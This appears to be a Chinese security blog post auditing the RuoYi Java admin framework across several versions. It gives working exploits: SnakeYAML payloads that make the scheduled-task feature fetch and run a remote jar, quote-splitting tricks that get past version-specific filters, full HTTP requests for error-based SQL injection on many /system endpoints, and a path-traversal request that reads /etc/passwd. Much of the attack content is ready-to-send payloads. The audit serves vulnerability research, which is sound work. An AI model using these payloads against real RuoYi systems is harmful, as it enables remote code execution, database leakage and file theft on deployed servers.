Ruoyi代码审计

搭建环境:

1
git clone https://gitee.com/y_project/RuoYi.git

本次的ruoyi版本为4.0。

使用git checkout [版本号]进行版本切换。

使用git tag可以查看很多版本列表

审计过程:

1. shiro组件:

1.1 爆破shiro密码:

image-20240306084805550

点击检测当前密钥后再点击爆破密码就会自动执行shiro密码爆破。

1.2 执行命令:

执行shiro反序列化,任意执行命令。

点击了检测当前利用链,就可以判断是否存在反序列化。

image-20240306085140804

执行任意命令:

image-20240306085311381

2. 定时任务:

如何使用定时任务?

首先需要注入到bean中:

image-20240306095244421

接着编写cron表达式,需要指定哪个bean中的哪个方法。

image-20240306095312930

image-20240306095224450

定时任务存在调用任意类的任意方法,如图所示:

image-20240307095915440

从请求中获取到了job的相关信息,其中包括job的调用字符串,因此可以调用任意类。

版本<=4.6.2 RCE:

影响版本:RuoYi<4.6.2

简要描述:由于若依后台计划任务处,对于传入的”调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。

当前复现版本为若依4.0

下载poc:

artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads (github.com)

编写poc的yaml文件:

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:88/yaml-payload.jar"]
]]
]

修改执行命令:

image-20240307100835373

编译执行:

1
2
javac .\src\artsploit\AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

image-20240307101637234

启动一个python的文件服务:

image-20240307101658018

新增一个定时任务:

image-20240307101851020

poc如下:

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://127.0.0.1:88/yaml-payload.jar"]]]]‘)

执行成功:

image-20240307103326216

这里复刻很奇怪,如果若依使用了高版本的jdk(jdk19)即可复现成功,但是使用1.8就不行,不知道为什么。

Caused by: java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 63.0), this version of the Java Runtime only recognizes class file versions up to 52.0

版本4.6.2:

当前审计版本4.6.2:

只判断了rmi服务。

image-20240307105411783

一样可以弹:

poc和上面一样:

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:88/yaml-payload.jar"]]]]')

版本4.7.0:

添加任务中存在校验,而且是后端校验:

image-20240307110008645

但是没有黑名单校验:

image-20240307110118297

因此还是可以bpass,同样的poc,只需要使用单引号即可绕过

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["'h''t''t''p'://127.0.0.1:88/yaml-payload.jar"]]]]')

image-20240307110247325

版本>4.7.2:

在添加中存在校验

image-20240307104929203

存在黑名单校验:

image-20240307105040908

还存在rmi校验,不知道如何bypass。

发现可以结合sql注入,然后修改字段最终实现bypass。

总结:

如果想使用ruoyi定时任务实现rce,可以先直接调用artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads (github.com)的poc,如果是小于4.6.2版本则直接可以实现rce。在小于4.7.2版本中会校验是否存在rmi,ldap服务,以及对字符串判断是否存在http字样。如果存在http字样,可以使用单引号绕过,如'h''t''t''t'

在大于4.7.2版本则会添加类黑名单。

3. sql注入:

查询sql注入的方法可以从mybatis的配置文件入手,全局搜索${即可。

image-20240307140934631

3.1 查询角色管理列表sql注入:

路径为/system/role/list

查询mybatis的xml文件,可以查询到没有预编译的sql:

image-20240307141034016

查询到controller层,如图所示:

image-20240307141118479

由于这个role对象是从前端传进来的,而且是可控的,service层也是直接调用了,没有进行参数的校验,因此这个role对象是可控的。直接传递到dao层。

因此注入点是params[dataScope]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 185
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=90aee3bf-d1af-480c-90ce-cd2ff50b733b
Connection: close

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))

image-20240307140735953

或者是使用extractvalue进行注入:

1
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240307140651560

3.2 查询用户列表:

路径为/system/user/list

image-20240307142001933

也是存在dataScope注入点。

service层:

image-20240307142049062

dao层:

image-20240307142105532

也是一样的,user对象从前端传入后就没有经过校验,由于user的dataScope属性是可控的,因此这个sql注入点是存在的。

访问路径:/system/user/list

image-20240307142321189

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/user/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 218
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9
Connection: close

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select version()),0x7e))

image-20240307142817981

或者修改为&params[dataScope]=and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))

image-20240307142918619

3.3 角色导出:

请求路径为:/system/role/expor

审计了一下就是调用了查询角色列表,因此查询角色列表的sql注入可以复用:

image-20240307143454429

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240307143133597

3.4 导出用户列表:

请求路径为/system/user/export

和上面的查询用户列表一样,可以复用:

image-20240307143252886

poc如下,可也使用and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/user/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

3.5 查询已分配角色列表:

路径为/system/role/authUser/allocatedList

同理查询${,发现了selectAllocatedList这个方法存在可疑的sql注入点:

image-20240307143553612

追踪到controller层:

image-20240307143659323

前端点击:

image-20240307143939865

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/role/authUser/allocatedList HTTP/1.1
Host: 127.0.0.1
Content-Length: 166
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role/authUser/1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9
Connection: close

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

也可以使用

1
&params[dataScope]=and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))

image-20240307145020776

3.6 查询未分类角色列表:

查询接口:/system/role/authUser/unallocatedList

image-20240307145418345

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/role/authUser/unallocatedList HTTP/1.1
Host: 127.0.0.1
Content-Length: 173
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role/authUser/selectUser/100
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9
Connection: close

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=100&loginName=&phonenumber=&params[dataScope]=and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))

image-20240307150734573

3.7 查询部门列表:

请求路径为:/system/dept/list

image-20240307152149553

dept对象是可控的,因此可以直接梭哈:

image-20240307152217690

注入点一样params[dataScope],还可以使用updatexml进行注入。poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/dept/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 101
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/dept
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6ea4c4cf-c715-4be1-8388-30b7dc810de9
Connection: close

deptName=123&status=&params[dataScope]=and(select updatexml(1,concat(0x7e,(SELECT database())),0x7e))

image-20240307152453369

3.8 修改部门状态:

请求路径为:/system/dept/edit

image-20240307152759836

注入点为dept_id

controller层接口如图所示:

image-20240307152925916

这个dept是从前端过来,并且是可控的,但是调用流程有点多,存在多个循环。

image-20240307153058194

这个的注入点是ancestors,前端传入的string类型,这里根据string字符串根据,进行切割。因此可以构造成:

0)or(extractvalue(1,concat((select user()))));#

不知道为什么使用select version会显示不全。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 113
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/dept/edit/101
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=721a661a-97f4-44bf-acaa-3f1e43c0b313
Connection: close

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

image-20240309101125037

3.9 生成表 版本4.7.5:

存在硬编码:

image-20240309112838718

service层:

image-20240309112905611

controller层:

路径为/tool/gen/createTable

image-20240309112935099

首先会判断当前sql是否存在sql注入:

image-20240309113029589

根据这个SQL_REGEX|分割获取所有的关键字

然后调用stringutils的方法,这个方法是获取当前第二个参数在第一个参数中匹配到的字符串的第一个下标,如abcd b,匹配到了b所以返回第一个b字符串的下标1

image-20240309113248298

所以当这个匹配到则返回的结果是大于-1,则表明存在sql注入。

根据切片获取到的sqlkeywords的list集合是image-20240309135446759

因此可以使用select/**/这样去绕过空格检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /tool/gen/createTable HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8b84098e-2440-457e-9770-2f51a5afe81e
Connection: close
Content-Length: 142

sql=CREATE table/**/sad/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));

image-20240309115001668

3.10 组合拳 定时任务+sql注入 rce:

4. 任意文件读取:

版本小于4.5.1

路径为:/common/download/resource?resource=/profile/../../../../etc/passwd

image-20240309111346024

处理逻辑主要获取到最后一个profile然后截取后面的路径进行拼接。

本地资源这个方法不存在校验文件是否合法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /common/download/resource?resource=/profile/../../../ HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=53976028-ac1b-48fd-840e-ddf217174015
Connection: close

可以实现读取任意文件。

image-20240309111451591


Ruoyi代码审计
https://pow1e.github.io/2024/04/26/代码审计/Ruoyi代码审计/
作者
pow1e
发布于
2024年4月26日
许可协议